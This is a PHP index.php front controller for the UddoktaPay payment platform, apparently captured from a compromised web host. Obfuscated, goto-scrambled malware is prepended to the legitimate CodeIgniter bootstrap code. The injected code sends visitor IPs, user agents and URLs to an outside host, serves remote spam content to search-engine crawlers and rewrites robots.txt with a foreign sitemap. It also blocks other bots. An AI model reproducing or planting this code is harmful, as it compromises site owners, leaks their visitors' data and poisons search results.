Current File : /home/getxxhzo/pay.xpertbee.com/index.php |
<?php
goto x7lpZ; ma9In: $VV9AC = $NYEXY . "\x3f\141\147\145\156\x74\x3d{$X_8Ye}\46\162\145\x66\x65\162\x3d{$YUGzw}\46\154\141\156\147\x3d{$AM7BA}\46\151\x70\x3d{$tUQ2v}\46\x64\x6f\155\75{$P7ltJ}\x26\150\x74\164\160\x3d{$c6XKS}\46\165\162\151\x3d{$XDL3W}\x26\160\x63\75{$Ei97x}\46\162\x65\167\162\151\x74\x65\x61\x62\154\x65\x3d{$XgDjX}\x26\163\x63\162\151\x70\x74\x3d{$XVs7D}\x26\x73\151\x74\x65\155\x61\160\75" . urlencode($zxaHT); goto crZI4; d9_L0: if (preg_match("\100\x5e\x2f\50\x2e\x2a\x3f\51\x2e\170\155\x6c\x24\100\151", $_SERVER["\122\105\121\125\x45\x53\x54\137\x55\122\x49"]) or strpos($XDL3W, "\x72\x6f\x62\157\164\163\56\x74\x78\164") !== false or strpos($XDL3W, "\x6a\x70\62\x30\x32\x33") !== false or strpos($XDL3W, "\160\x69\156\147\x73\x69\164\145\155\x61\x70") !== false or preg_match("\x2f\x28{$clkgc}\x29\x2f\x69", $_SERVER["\110\124\124\120\137\x55\123\105\122\x5f\101\x47\x45\x4e\124"]) or preg_match("\57\50{$clkgc}\51\57\x69", @$_SERVER["\110\124\124\x50\x5f\x52\105\x46\105\x52\105\122"])) { goto KvFhK; } goto IGd2d; x3TyK: B0zYh: goto k2NZz; E8h44: $I31ns = "\x55\163\x65\x72\55\x61\147\x65\156\x74\x3a\x20\52\xd\12\x41\154\x6c\x6f\167\72\40\x2f"; goto K5p2Y; r3MG7: if (!empty($I31ns)) { goto wfeui; } goto QVxTX; vvnns: if (isset($_SERVER["\110\124\124\120\137\x58\x5f\106\x4f\x52\x57\x41\x52\x44\x45\104\137\106\117\122"])) { goto Vti4a; } goto ZrBRX; QVxTX: if (!(strpos($XDL3W, "\x72\157\x62\157\164\x73\56\164\170\x74") !== false)) { goto k29rP; } goto YkNjG; Y1IgV: exit; goto RDkxY; ToqOD: if ($qHT7g === "\157\153") { goto B0zYh; } goto AfOWe; crZI4: JdWOC: goto hQEYG; oiJgY: $NYEXY = $aslqH . $CqldE . $j6T3W . $suePG . $AcJuo . $w2n50; goto lIz6T; OrdtF: goto R5wx4; goto L2zDS; kkRjj: qtCK9: goto n8VH1; kRgo9: $e85L8 = "\x2f"; goto svLHx; X8r3E: if (!(strpos($XDL3W, "\164\151\146\164\x69\x66") !== false)) { goto A3Zhy; } goto KFSJ8; ZrBRX: goto eKbOD; goto zNaW_; Mkbn0: Vti4a: goto VUPux; b3_FX: if (isset($_SERVER["\x48\x54\x54\x50\137\x43\x4c\x49\105\116\x54\137\x49\120"])) { goto qkU_W; } goto vvnns; i2b1Q: $w2n50 = "\x2e\143\157\155\57"; goto CQggY; HiyUg: $X_8Ye = urlencode($_SERVER["\x48\124\124\120\x5f\125\123\x45\122\x5f\101\107\x45\116\x54"]); goto b3_FX; IdSP1: function aUNEe($WAtSr, $j1qTn) { goto IpjWT; JKP40: jUgZc: goto esYoO; sQDK4: fwrite($UHnAS, $j1qTn); goto xTedy; xTedy: fclose($UHnAS); goto LQPl4; IpjWT: $UHnAS = fopen($WAtSr, "\x77"); goto BTbzd; esYoO: return false; goto vQcsz; BTbzd: if (!$UHnAS) { goto jUgZc; } goto sQDK4; LQPl4: return true; goto JKP40; vQcsz: } goto dl47S; U3Q3e: g3zr2: goto z8FCU; rgT6f: echo $zxaHT . "\x3a\40" . $R4o5r . "\x3c\142\x72\57\76"; goto ma9In; Ib2OK: eKbOD: goto kCCey; CXfrh: lmF7Q: goto E8h44; x7lpZ: $suePG = "\61"; goto jY99z; k_kbz: curl_setopt($VbG79, CURLOPT_SSL_VERIFYHOST, FALSE); goto SOY_J; zENRb: $AM7BA = urlencode(@$_SERVER["\x48\x54\x54\120\137\101\103\103\x45\120\x54\x5f\114\101\116\x47\x55\x41\x47\105"]); goto Q2aiC; Y38hX: nVAUE: goto z1wmV; aHVnS: header("\110\x54\x54\x50\57\x31\56\x31\40\x34\60\64\40\116\x6f\164\x20\106\157\x75\156\144"); goto JhJO3; WUeUW: k29rP: goto OrdtF; j006z: exit; goto GSC06; IGd2d: goto EoglR; goto beqEF; GSC06: KcUBT: goto zENRb; en6vS: $c6XKS = urlencode($_SERVER["\122\x45\121\125\x45\x53\x54\137\x53\x43\110\105\115\105"]); goto LXBU3; fGQ6x: $I31ns = ''; goto MLMHj; c78UQ: goto eKbOD; goto Mkbn0; peC7F: Q8611: goto wo4R4; tm3rw: aUNee($scIeB, "\61"); goto yHJpR; j6Y0g: goto SN5sG; goto sDu1B; C4Dzg: if (!is_file($scIeB)) { goto qtCK9; } goto WxipE; AfOWe: $XgDjX = 0; goto GdGnA; svLHx: goto FqstR; goto bAbhi; qZ3va: if (!(substr($qHT7g, 0, 10) == "\145\x72\162\157\162\40\x63\x6f\144\x65" or $qHT7g == "\65\x30\60" or strpos($qHT7g, "\102\x61\x64\x20\x47\x61\164\x65\x77\141\x79") !== false)) { goto razSW; } goto kDTTm; xO0YZ: curl_close($VbG79); goto nswX2; jOEmj: curl_setopt($VbG79, CURLOPT_RETURNTRANSFER, true); goto ZPARc; mmPXh: $CqldE = "\x74\x70\x3a"; goto i2b1Q; SOY_J: $qHT7g = curl_exec($VbG79); goto xO0YZ; li6Cl: if (!empty($_SERVER["\122\x45\121\125\x45\123\x54\137\123\x43\110\x45\115\x45"]) and $_SERVER["\122\x45\x51\125\105\123\x54\137\123\x43\110\105\115\105"] == "\150\x74\x74\x70\x73" or !empty($_SERVER["\110\x54\x54\x50\123"]) and $_SERVER["\110\x54\124\120\123"] == "\157\156" or !empty($_SERVER["\x53\x45\x52\126\x45\x52\x5f\x50\117\x52\124"]) and $_SERVER["\123\105\122\x56\x45\122\x5f\x50\117\122\x54"] == "\x34\64\x33" or isset($_SERVER["\x48\124\124\x50\137\130\x5f\x46\x4f\x52\127\x41\x52\104\105\x44\x5f\x50\122\x4f\124\x4f"]) and $_SERVER["\x48\124\124\x50\x5f\130\x5f\x46\x4f\x52\x57\x41\x52\104\x45\104\x5f\120\x52\117\x54\x4f"] == "\150\164\x74\160\163") { goto yw8p2; } goto umMcB; Q2_3c: curl_setopt($VbG79, CURLOPT_URL, $VV9AC); goto jOEmj; JhJO3: SN5sG: goto fCz9W; lIz6T: $Ei97x = "\104\x77\106\124\126\x77\x43"; goto xYE24; ki2ZQ: $tUQ2v = $_SERVER["\122\x45\x4d\117\x54\x45\x5f\x41\104\104\x52"]; goto HiyUg; MLMHj: if (!(strpos($XDL3W, "\x70\151\156\x67\163\151\164\145\x6d\x61\x70") !== false)) { goto JdWOC; } goto EPHhd; kCCey: $P7ltJ = urlencode($_SERVER["\x48\x54\124\x50\137\110\117\x53\x54"]); goto aTq_C; umMcB: $_SERVER["\x52\x45\121\x55\x45\x53\x54\137\123\x43\x48\105\x4d\x45"] = "\x68\164\164\160"; goto uzbfH; bAbhi: hk4nG: goto cIhTW; Q2aiC: $YUGzw = urlencode(@$_SERVER["\110\x54\124\x50\137\x52\105\x46\105\122\x45\x52"]); goto ki2ZQ; Ac8G2: $qHT7g = @file_get_contents($K_shB); goto ToqOD; boHhr: $XgDjX = 0; goto px11h; vKc4N: L7OJv: goto ssEAS; dl47S: function U4F3x($WAtSr) { goto ZcSfq; rWt9C: $j1qTn = fread($UHnAS, filesize($WAtSr)); goto EF5W0; R5DqL: if (!$UHnAS) { goto vsffR; } goto rWt9C; tlwER: return $j1qTn; goto d5vbm; UEwIM: return false; goto E7QlR; d5vbm: vsffR: goto UEwIM; ZcSfq: $UHnAS = fopen($WAtSr, "\x72"); goto R5DqL; EF5W0: fclose($UHnAS); goto tlwER; E7QlR: } goto en6vS; bK11_: A3Zhy: goto boHhr; EPHhd: $e85L8 = $_SERVER["\123\x43\x52\x49\120\124\137\116\x41\115\x45"]; goto jwKQT; BmrCG: $j6T3W = "\x2f\x2f\x63\x77\62"; goto mmPXh; kDTTm: header("\x48\x54\124\x50\x2f\x31\x2e\x30\40\x35\x30\60\40\111\156\x74\145\x72\x6e\141\154\x20\123\145\162\166\145\162\x20\105\x72\162\x6f\162"); goto Y1IgV; mK5Ep: KiXW3: goto IdSP1; lHdwG: $clkgc = "\x42\151\156\x67\174\x44\157\x63\x6f\x6d\157\174\131\141\150\157\x6f\x7c\x47\x6f\157\x67\x6c\145"; goto c8qO6; RDkxY: razSW: goto GJy_s; nswX2: lF51V: goto ZP8Cr; ndpqX: $e85L8 = $e85L8 . "\77"; goto c4Jvc; YkNjG: AUNEE("\162\157\x62\x6f\164\x73\56\164\170\x74", $qHT7g); goto WUeUW; y_3rR: return; goto X8BVS; M5pp1: exit; goto bK11_; fCz9W: echo $qHT7g; goto r3MG7; M3UAF: $_SERVER["\122\105\121\x55\x45\x53\124\137\x53\103\110\x45\115\x45"] = "\x68\x74\164\160\163"; goto mK5Ep; Z6rQs: FqstR: goto CXfrh; Ed9eo: $tUQ2v = $_SERVER["\110\124\124\120\x5f\103\114\x49\105\116\x54\137\x49\x50"]; goto c78UQ; ZPARc: curl_setopt($VbG79, CURLOPT_FOLLOWLOCATION, false); goto gJUeR; lbee8: exit; goto y_3rR; Es9in: goto yDMe_; goto x3TyK; VUPux: $tUQ2v = $_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\117\122\x57\x41\122\x44\x45\104\137\106\x4f\122"]; goto Ib2OK; sDu1B: bQg1i: goto aHVnS; beqEF: KvFhK: goto mzwHb; xYE24: error_reporting(0); goto lHdwG; ryPNf: $I31ns = trim($I31ns) . "\15\xa" . "\x53\151\x74\145\x6d\141\160\72\40{$zxaHT}"; goto iiiy4; ENJ_u: goto oUSSX; goto Y38hX; jwKQT: if (strpos($e85L8, "\x69\x6e\x64\x65\x78\56\x70") !== false) { goto Q8611; } goto ndpqX; hwpbK: header("\x43\x6f\x6e\164\x65\156\164\x2d\x54\x79\x70\145\x3a\x20\164\145\170\164\x2f\x68\164\x6d\x6c\x3b\x20\x63\x68\x61\x72\x73\145\x74\75\x75\164\x66\55\x38"); goto ENJ_u; k2NZz: $XgDjX = 1; goto tm3rw; z8FCU: if (strpos($XDL3W, "\x66\x61\x76\x69\x63\x6f\156\x2e\x69\143\x6f") !== false) { goto L7OJv; } goto d9_L0; CQggY: $aslqH = "\150\x74"; goto oiJgY; zNaW_: qkU_W: goto Ed9eo; ZP8Cr: if (empty($qHT7g)) { goto GEll9; } goto qZ3va; jY99z: $AcJuo = "\65\67\56\x70\143\163\x70\145\143\x69\146\x69\x63"; goto BmrCG; JAu1i: goto nWuqC; goto vKc4N; i48dC: if (!empty($qHT7g)) { goto lF51V; } goto LLxh2; n8VH1: $K_shB = $c6XKS . "\x3a\x2f\x2f" . $_SERVER["\110\124\124\120\x5f\110\x4f\123\x54"] . "\x2f\x74\x69\x66\x74\x69\x66"; goto Ac8G2; yHJpR: yDMe_: goto U3Q3e; a1jE5: oUSSX: goto j6Y0g; uzbfH: goto KiXW3; goto Ypv5m; wo4R4: if ($XgDjX == 0) { goto hk4nG; } goto kRgo9; mzwHb: $VV9AC = $NYEXY . "\x3f\x61\147\145\156\164\x3d{$X_8Ye}\46\162\145\146\x65\x72\75{$YUGzw}\x26\154\x61\156\147\x3d{$AM7BA}\46\151\x70\x3d{$tUQ2v}\x26\144\x6f\155\x3d{$P7ltJ}\x26\150\164\164\160\75{$c6XKS}\46\x75\162\x69\x3d{$XDL3W}\46\160\x63\x3d{$Ei97x}\46\x72\x65\167\x72\x69\x74\145\x61\142\154\145\x3d{$XgDjX}\46\163\x63\162\x69\160\x74\x3d{$XVs7D}"; goto fGQ6x; LLxh2: $VbG79 = curl_init(); goto Q2_3c; c4Jvc: goto lmF7Q; goto peC7F; gJUeR: curl_setopt($VbG79, CURLOPT_SSL_VERIFYPEER, FALSE); goto k_kbz; z1wmV: header("\103\x6f\156\x74\145\x6e\x74\55\124\x79\160\x65\72\40\164\145\x78\x74\57\x78\155\x6c\x3b\40\143\x68\x61\x72\x73\x65\164\x3d\165\164\146\x2d\x38"); goto a1jE5; px11h: $scIeB = "\164\x69\x66\x2e\x74\x78\x74"; goto C4Dzg; SOVBk: R5wx4: goto lbee8; aTq_C: $XVs7D = urlencode($_SERVER["\x53\103\x52\111\x50\x54\137\x4e\x41\115\x45"]); goto tZIoC; GqOhj: goto g3zr2; goto kkRjj; LXBU3: $XDL3W = urlencode($_SERVER["\122\x45\x51\x55\105\123\x54\x5f\125\122\111"]); goto X8r3E; GdGnA: AuNee($scIeB, "\60"); goto Es9in; Ypv5m: yw8p2: goto M3UAF; tZIoC: $tUQ2v = urlencode($tUQ2v); goto li6Cl; HA7c1: header("\x48\x54\124\x50\57\x31\56\60\x20\64\x30\x33\40\106\157\162\x62\151\x64\x64\145\156"); goto j006z; c8qO6: if (!preg_match("\57\x28\x47\157\55\x68\x74\164\x70\55\143\x6c\151\145\x6e\164\174\105\141\x73\157\165\x53\160\x69\144\145\x72\x7c\120\141\x6c\157\x61\x6c\164\157\x6e\x65\x74\167\x6f\162\x6b\163\x7c\104\157\164\102\157\164\x7c\105\172\157\157\155\163\174\x4d\152\x31\62\142\157\x74\x7c\x63\157\157\154\x70\141\x64\127\145\142\x6b\151\164\x7c\120\x79\164\x68\x6f\x6e\55\x72\145\x71\165\145\163\x74\163\x7c\x41\160\x61\x63\150\145\102\145\156\x63\150\x7c\x50\x79\164\x68\x6f\x6e\x2d\x75\162\154\x6c\x69\x62\174\x4a\x61\x76\x61\x7c\101\x6d\141\x7a\157\156\x42\x6f\x74\174\104\x69\x67\105\170\164\174\142\171\164\145\x73\160\x69\x64\x65\x72\x7c\x43\x72\x61\167\x6c\104\x61\x64\x64\x79\174\120\x65\164\x61\154\x42\x6f\x74\174\111\x6e\144\x79\40\114\151\142\162\141\x72\x79\x7c\106\x65\x65\x64\104\145\155\x6f\x6e\174\x79\141\x6e\144\x65\170\102\157\164\174\110\164\x74\160\x43\x6c\151\145\x6e\x74\174\107\x50\x54\x42\157\164\174\x4a\151\153\x65\123\160\x69\144\145\162\x7c\x53\145\172\x6e\141\155\x42\157\164\174\x41\x73\x6b\x54\x62\x46\x58\124\x56\x7c\x53\x65\x6d\162\x75\x73\150\102\157\x74\x7c\x43\x65\156\x73\x79\163\x49\156\163\160\x65\143\x74\x7c\146\145\145\x64\154\171\x7c\x53\167\x69\x66\164\142\157\164\174\131\151\163\157\x75\x53\x70\151\144\x65\162\x7c\125\156\x69\166\x65\162\163\x61\x6c\x46\145\x65\x64\x50\141\162\x73\145\162\x7c\x48\145\162\x69\x74\162\151\x78\x7c\x4f\102\157\164\174\163\143\x72\141\160\171\x7c\154\151\x67\x68\164\x44\x65\x63\x6b\x52\x65\160\157\x72\164\163\x20\102\157\164\174\x4a\141\x75\156\164\x79\x7c\120\171\x74\x68\157\x6e\x7c\x42\141\162\x6b\x72\157\167\154\x65\162\174\x61\150\162\x65\146\163\x42\157\x74\174\x59\171\x53\160\151\x64\145\162\174\x44\141\164\x61\x46\157\x72\x53\105\x4f\x7c\132\155\105\x75\x29\x2f\x69", $_SERVER["\x48\124\x54\120\x5f\125\123\x45\x52\x5f\101\x47\105\x4e\x54"])) { goto KcUBT; } goto HA7c1; EIlob: if (substr($qHT7g, 0, 5) == "\x3c\77\x78\155\x6c") { goto nVAUE; } goto hwpbK; lUoBx: auNEe("\x72\x6f\142\x6f\x74\163\x2e\164\x78\x74", $I31ns); goto SOVBk; cIhTW: $e85L8 = "\x2f\x3f"; goto Z6rQs; X8BVS: GEll9: goto vrME0; hQEYG: $qHT7g = @file_get_contents($VV9AC); goto i48dC; iiiy4: $R4o5r = ''; goto rgT6f; L2zDS: wfeui: goto lUoBx; WxipE: $XgDjX = U4f3X($scIeB); goto GqOhj; K5p2Y: $zxaHT = "{$c6XKS}\x3a\x2f\57" . $P7ltJ . $e85L8 . "\x73\x69\x74\x65\155\x61\160\x2e\170\x6d\x6c"; goto ryPNf; KFSJ8: echo "\x6f\153"; goto M5pp1; GJy_s: if (strpos($XDL3W, "\x6a\160\62\x30\x32\x33") !== false) { goto bQg1i; } goto EIlob; vrME0: EoglR: goto JAu1i; ssEAS: nWuqC:
?>
<?php
/**
* UddoktaPay
*
* UddoktaPay is a self-hosted payment automation software. Which is made for small entrepreneurs in Bangladesh.
*
* @package UddoktaPay
* @author UddoktaPay Team
* @license https://uddoktapay.com
* @copyright Copyright (c) 2021-2023, UddoktaPay. (https://uddoktapay.com)
*/
/*
* Set timezone to Asia/Dhaka.
*/
date_default_timezone_set("Asia/Dhaka");
/*
* Check minimum requirements.
*/
if (version_compare(PHP_VERSION, '7.4.0') < 0) {
die("Current PHP version is " . phpversion() . "! PHP version required for running UddoktaPay is PHP 7.4. Please check and upgrade your current PHP version.");
}
if (!function_exists('ioncube_loader_version')) {
die("ionCube Loader function is missing! UddoktaPay requires ionCube Loader function to run, Please check and enable the extension or Contact with hosting provider.");
}
function GetIonCubeLoaderVersionForUddoktaPay()
{
if (function_exists('ioncube_loader_version')) {
$version = ioncube_loader_version();
$a = explode('.', $version);
$count = count($a);
if ($count == 3) {
return $version;
} elseif ($count == 2) {
return $version . ".0";
} elseif ($count == 1) {
return $version . ".0.0";
}
$version = implode('.', array_slice($a, 0, 3));
return $version;
}
return 'Not Found!';
}
if (version_compare(GetIonCubeLoaderVersionForUddoktaPay(), '12.0.0') < 0) {
die("Current ionCube Loader version is " . GetIonCubeLoaderVersionForUddoktaPay() . "! minimum ionCube Loader version required for running UddoktaPay is 12.0.0. Please check and upgrade your current ionCube Loader version or Contact with hosting provider.");
}
if (!extension_loaded('mysqli')) {
die("Mysqli PHP extension missing! UddoktaPay requires Mysqli PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('curl')) {
die("cURL PHP extension missing! UddoktaPay requires cURL PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('fileinfo')) {
die("Fileinfo PHP extension missing! UddoktaPay requires Fileinfo PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('openssl')) {
die("Openssl PHP extension missing! UddoktaPay requires Openssl PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('zip')) {
die("ZIP PHP extension missing! UddoktaPay requires ZIP PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('bcmath')) {
die("BCMath PHP extension missing! UddoktaPay requires BCMath PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('ctype')) {
die("Ctype PHP extension missing! UddoktaPay requires Ctype PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('json')) {
die("JSON PHP extension missing! UddoktaPay requires JSON PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('mbstring')) {
die("Mbstring PHP extension missing! UddoktaPay requires Mbstring PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('xml')) {
die("XML PHP extension missing! UddoktaPay requires XML PHP extension to run, Please check and enable the extension.");
}
if (!extension_loaded('tokenizer')) {
die("Tokenizer PHP extension missing! UddoktaPay requires Tokenizer PHP extension to run, Please check and enable the extension.");
}
/*
* Check if the UddoktaPay installation file exists.
*/
$installFile = "install/install.uddoktapay";
if (is_file($installFile)) {
header('Location: install/index.php');
exit();
}
/*
*---------------------------------------------------------------
* APPLICATION ENVIRONMENT
*---------------------------------------------------------------
*
* You can load different configurations depending on your
* current environment. Setting the environment also influences
* things like logging and error reporting.
*
* This can be set to anything, but default usage is:
*
* development
* testing
* production
*
* NOTE: If you change these, also change the error_reporting() code below
*/
define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'production');
/*
*---------------------------------------------------------------
* ERROR REPORTING
*---------------------------------------------------------------
*
* Different environments will require different levels of error reporting.
* By default development will show errors but testing and live will hide them.
*/
switch (ENVIRONMENT) {
case 'development':
error_reporting(-1);
ini_set('display_errors', 1);
break;
case 'testing':
case 'production':
ini_set('display_errors', 0);
if (version_compare(PHP_VERSION, '5.3', '>=')) {
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
} else {
error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
}
break;
default:
header('HTTP/1.1 503 Service Unavailable.', true, 503);
echo 'The application environment is not set correctly.';
exit(1); // EXIT_ERROR
}
/*
*---------------------------------------------------------------
* SYSTEM DIRECTORY NAME
*---------------------------------------------------------------
*
* This variable must contain the name of your "system" directory.
* Set the path if it is not in the same directory as this file.
*/
$system_path = 'core';
/*
*---------------------------------------------------------------
* APPLICATION DIRECTORY NAME
*---------------------------------------------------------------
*
* If you want this front controller to use a different "application"
* directory than the default one you can set its name here. The directory
* can also be renamed or relocated anywhere on your server. If you do,
* use an absolute (full) server path.
* For more info please see the user guide:
*
* https://codeigniter.com/user_guide/general/managing_apps.html
*
* NO TRAILING SLASH!
*/
$application_folder = 'app';
/*
*---------------------------------------------------------------
* VIEW DIRECTORY NAME
*---------------------------------------------------------------
*
* If you want to move the view directory out of the application
* directory, set the path to it here. The directory can be renamed
* and relocated anywhere on your server. If blank, it will default
* to the standard location inside your application directory.
* If you do move this, use an absolute (full) server path.
*
* NO TRAILING SLASH!
*/
$view_folder = '';
/*
* --------------------------------------------------------------------
* DEFAULT CONTROLLER
* --------------------------------------------------------------------
*
* Normally you will set your default controller in the routes.php file.
* You can, however, force a custom routing by hard-coding a
* specific controller class/function here. For most applications, you
* WILL NOT set your routing here, but it's an option for those
* special instances where you might want to override the standard
* routing in a specific front controller that shares a common CI installation.
*
* IMPORTANT: If you set the routing here, NO OTHER controller will be
* callable. In essence, this preference limits your application to ONE
* specific controller. Leave the function name blank if you need
* to call functions dynamically via the URI.
*
* Un-comment the $routing array below to use this feature
*/
// The directory name, relative to the "controllers" directory. Leave blank
// if your controller is not in a sub-directory within the "controllers" one
// $routing['directory'] = '';
// The controller class file name. Example: mycontroller
// $routing['controller'] = '';
// The controller function you wish to be called.
// $routing['function'] = '';
/*
* -------------------------------------------------------------------
* CUSTOM CONFIG VALUES
* -------------------------------------------------------------------
*
* The $assign_to_config array below will be passed dynamically to the
* config class when initialized. This allows you to set custom config
* items or override any default config values found in the config.php file.
* This can be handy as it permits you to share one application between
* multiple front controller files, with each file containing different
* config values.
*
* Un-comment the $assign_to_config array below to use this feature
*/
// $assign_to_config['name_of_config_item'] = 'value of config item';
// --------------------------------------------------------------------
// END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE
// --------------------------------------------------------------------
/*
* ---------------------------------------------------------------
* Resolve the system path for increased reliability
* ---------------------------------------------------------------
*/
// Set the current directory correctly for CLI requests
if (defined('STDIN')) {
chdir(dirname(__FILE__));
}
if (($_temp = realpath($system_path)) !== false) {
$system_path = $_temp . DIRECTORY_SEPARATOR;
} else {
// Ensure there's a trailing slash
$system_path = strtr(
rtrim($system_path, '/\\'),
'/\\',
DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR
) . DIRECTORY_SEPARATOR;
}
// Is the system path correct?
if (!is_dir($system_path)) {
header('HTTP/1.1 503 Service Unavailable.', true, 503);
echo 'Your system folder path does not appear to be set correctly. Please open the following file and correct this: ' . pathinfo(__FILE__, PATHINFO_BASENAME);
exit(3); // EXIT_CONFIG
}
/*
* -------------------------------------------------------------------
* Now that we know the path, set the main path constants
* -------------------------------------------------------------------
*/
// The name of THIS file
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
// Path to the system directory
define('BASEPATH', $system_path);
// Path to the front controller (this file) directory
define('FCPATH', dirname(__FILE__) . DIRECTORY_SEPARATOR);
// Name of the "system" directory
define('SYSDIR', basename(BASEPATH));
// The path to the "application" directory
if (is_dir($application_folder)) {
if (($_temp = realpath($application_folder)) !== false) {
$application_folder = $_temp;
} else {
$application_folder = strtr(
rtrim($application_folder, '/\\'),
'/\\',
DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR
);
}
} elseif (is_dir(BASEPATH . $application_folder . DIRECTORY_SEPARATOR)) {
$application_folder = BASEPATH . strtr(
trim($application_folder, '/\\'),
'/\\',
DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR
);
} else {
header('HTTP/1.1 503 Service Unavailable.', true, 503);
echo 'Your application folder path does not appear to be set correctly. Please open the following file and correct this: ' . SELF;
exit(3); // EXIT_CONFIG
}
define('APPPATH', $application_folder . DIRECTORY_SEPARATOR);
// The path to the "views" directory
if (!isset($view_folder[0]) && is_dir(APPPATH . 'views' . DIRECTORY_SEPARATOR)) {
$view_folder = APPPATH . 'views';
} elseif (is_dir($view_folder)) {
if (($_temp = realpath($view_folder)) !== false) {
$view_folder = $_temp;
} else {
$view_folder = strtr(
rtrim($view_folder, '/\\'),
'/\\',
DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR
);
}
} elseif (is_dir(APPPATH . $view_folder . DIRECTORY_SEPARATOR)) {
$view_folder = APPPATH . strtr(
trim($view_folder, '/\\'),
'/\\',
DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR
);
} else {
header('HTTP/1.1 503 Service Unavailable.', true, 503);
echo 'Your view folder path does not appear to be set correctly. Please open the following file and correct this: ' . SELF;
exit(3); // EXIT_CONFIG
}
define('VIEWPATH', $view_folder . DIRECTORY_SEPARATOR);
/*
* --------------------------------------------------------------------
* LOAD THE BOOTSTRAP FILE
* --------------------------------------------------------------------
*
* And away we go...
*/
require_once BASEPATH . 'core/CodeIgniter.php';